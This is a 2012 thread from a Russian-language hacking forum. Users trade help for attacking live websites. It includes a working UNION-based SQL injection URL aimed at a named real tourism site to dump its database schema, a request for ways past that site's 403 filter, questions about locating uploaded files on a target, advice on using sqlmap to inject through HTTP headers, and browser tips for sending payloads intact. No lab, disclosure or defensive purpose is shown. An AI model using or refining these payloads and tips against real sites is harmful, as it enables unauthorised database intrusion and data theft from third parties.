21.12.2012, 04:56
|
|
Постоянный
Регистрация: 16.10.2011
Сообщений: 326
Провел на форуме:
103014
Репутация:
76
|
|
Сообщение от 0xd098d0b3d0
Код:
http://sahyadhri.com/tourism/cities.php?id=-4+union%28select+1,2,3,4,5,6,7,8,9,10,11,12,13,14%29+from+information_schema.tables+--+
А обойти 403 в таком запросе получиться?? http://sahyadhri.com/tourism/cities.php?id=-4+union(select+1,concat_ws(0x03a,table_schema,tabl e_name,column_name),3,4,5,6,7,8,9,10,11,12,13,14+f rom+ `information_schema `.columns)+--+
|
|
|
21.12.2012, 10:47
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от s0n1k
есть форма заливки файла файл успешно заливается, можно узнать путь до папки загрузки ?
Может да, а может и нет.
Только так можно ответить на подобные вопросы, где не раскрываются ни название скрипта, ни url, ни что-либо ещё...
З.Ы. Сильно помогло ?
|
|
|
|
21.12.2012, 17:54
|
|
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301
Репутация:
0
|
|
Сообщение от Vip77
как с помощью sqlmap раскрутить sqli через http заголовки?
Вместо
Используй руки.
|
|
|
|
21.12.2012, 19:27
|
|
Участник форума
Регистрация: 29.09.2012
Сообщений: 233
Провел на форуме:
46989
Репутация:
20
|
|
руками не прокатывает
|
|
|
|
21.12.2012, 20:05
|
|
Новичок
Регистрация: 23.08.2012
Сообщений: 4
Провел на форуме:
732
Репутация:
0
|
|
Привет! Почему я в FF делаю запрос к БД со скобками "user()" и браузер фильтрует их преобразовывая в "user #45005232991653576411" и запрос не получается. В то время через оперу все нормально.
Как это обойти?
ЗЫ Установил в FF хакбар, как только не кодирую серавно запрос не проходит
|
|
|
|
21.12.2012, 20:16
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0
Репутация:
0
|
|
Сообщение от Кот в сапога
Кот в сапога said:
Привет! Почему я в FF делаю запрос к БД со скобками "user()" и браузер фильтрует их преобразовывая в "user #45005232991653576411" и запрос не получается. В то время через оперу все нормально.
Как это обойти?
ЗЫ Установил в FF хакбар, как только не кодирую серавно запрос не проходит
Установи старый FF и будет тебя счастье
|
|
|
|
21.12.2012, 20:26
|
|
Новичок
Регистрация: 23.08.2012
Сообщений: 4
Провел на форуме:
732
Репутация:
0
|
|
Сообщение от Zed0x
Установи старый FF и будет тебя счастье
Спасибо! Но этот вариант мне известен. Неучто все тестируют изпод старых браузеров?
Ты каким пользуешься?
|
|
|
|
21.12.2012, 20:28
|
|
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301
Репутация:
0
|
|
Сообщение от Кот в сапога
Кот в сапога said:
Спасибо! Но этот вариант мне известен. Неучто все тестируют изпод старых браузеров?
Ты каким пользуешься?
http://www.cometbird.com/
|
|
|
|
22.12.2012, 14:13
|
|
Участник форума
Регистрация: 29.09.2012
Сообщений: 233
Провел на форуме:
46989
Репутация:
20
|
|
Как с помощью sqlmap раскрутить sqli через http заголовки? Если вбиваю --header=X-Forwarded-For: то не прокатывает... Помогите плиз. Мне надо исключительно с помощью sqlmap.
|
|
|
|
22.12.2012, 15:40
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404
Репутация:
564
|
|
Сообщение от Кот в сапога
Кот в сапога said:
Привет! Почему я в FF делаю запрос к БД со скобками "user()" и браузер фильтрует их преобразовывая в "user #45005232991653576411" и запрос не получается. В то время через оперу все нормально.
Как это обойти?
ЗЫ Установил в FF хакбар, как только не кодирую серавно запрос не проходит
поставь браузер http://getmantra.com/ и будет щястя )
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
